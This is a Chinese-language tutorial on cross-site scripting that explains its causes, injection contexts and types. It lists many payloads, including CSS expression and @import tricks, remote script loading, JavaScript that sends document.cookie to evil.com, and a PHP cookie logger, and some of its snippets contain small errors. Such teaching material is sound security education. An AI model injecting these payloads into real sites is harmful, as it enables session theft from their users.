1. xss简介
1.1 概念
跨站脚本攻击,英文全称Cross Site Script.
xss攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本.从而在用户浏览网页时,控制用户浏览器的一种攻击.
1.2 成因
网站对用户的输入不加以处理,直接输入到页面,就有可能造成xss.
比如下例:
<?php
$input = $_GET['parm'];
echo $input;
?>
若用户输入<script> alert("xss");</script>
就可以在页面弹窗
常见场景
-
标签内的xss
<div>${Xss}<div/>
-
属性里面的xss
<div class="${XSS}"></div>
<a href="${xss}"><a>
-
事件中的xss
<img src=x onerror="${xss}">
-
css里面的xss
<style type="text/css"> body{ background-image:url(${xss});} </style> ${ xss}:javascript:alert(/xss/)
<div style="background-image:url(javascript:alert('XSS'))">
<style> body { background-image: url("javascript:alert('XSS')");} </style>
IE5及其以后版本支持在CSS中使用expression,使用expression同样可以触发XSS漏洞:
<div style="width: expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/XSS/));"> <style> body { background-image: expression(alert("XSS"));} </style>
<div style="list-style-image:url(javascript:alert('XSS'))"> <img style="background-image: url(javascript:alert('XSS'))">
@import和link方式都可以轻松地导入外部含有XSS代码的样式表文件:
<link rel="stylesheet" href="http://www.evil.com/attack.css"> <style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
@import还有一个特性,就是能直接执行JavaScript代码:
<style> @import 'javascript:alert("XSS")';</style>
-
Script标签
<script> var username = "$username"; </script> $username=1" alert(/xss/);//
-
<input name="1" value="" >
输入的单引号/双引号被转义 标签内进行突破oninput=alert(1) //
onchange=alert(1)//
1.3分类
xss根据效果不同,分成以下几类
-
反射型xss
用户的输入,最终会由浏览器反馈给用户
如
http://www.test.com?xs=<script>alert("1");</script>
后端页面:
<?php $input = $_GET['xs']; echo $input; ?>
数据由服务端处理,传回来,最终又反馈到浏览器
反射型xss利用通常需要黑客诱导用户点击恶意链接等.
-
储存型xss
储存型xss会把用户输入的数据储存到服务端.任何别的用户若访问了带有储存型xss恶意脚本的资源,都会受到侵害.
比较常见的场景: 黑客写下一篇带有恶意JavaScript代码的博客文章,评论,留言.
所以访问该文章,评论,留言的用户,浏览器都会执行这段恶意代码
-
Dom型xss
Dom型xss效果与反射型xss类似.成因比较特别.不经过服务端处理,而是由前端的js脚本将用户输入插入到页面
比如:
<script> function test()( var str = document.getElementById("text").value; document.getElementById("x").innerHTML = str; ) </script> <html> <input type="text" id="text" value=""/> <div id="x"> a </div> </html>
2.xss攻击
2.1 利用方式
- 通过xss加载恶意代码
http://www.test.com?xss=<script src=http://www.a.com/1.js></script>
-
xss窃取cookie
var img = document.createElement("img"); imr.src = "http://www.evil.com?"+escape(document.cookie); <!--escape对字符进行编码--> document.body.appendChild(img);
这段代码在请求资源时,会携带编码后的cookie进行请求,审查evil.com的日志即可查看到cookie
也可以在服务器接收
<?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt", "a"); fwrite($log, $cookie ."\n"); fclose($log)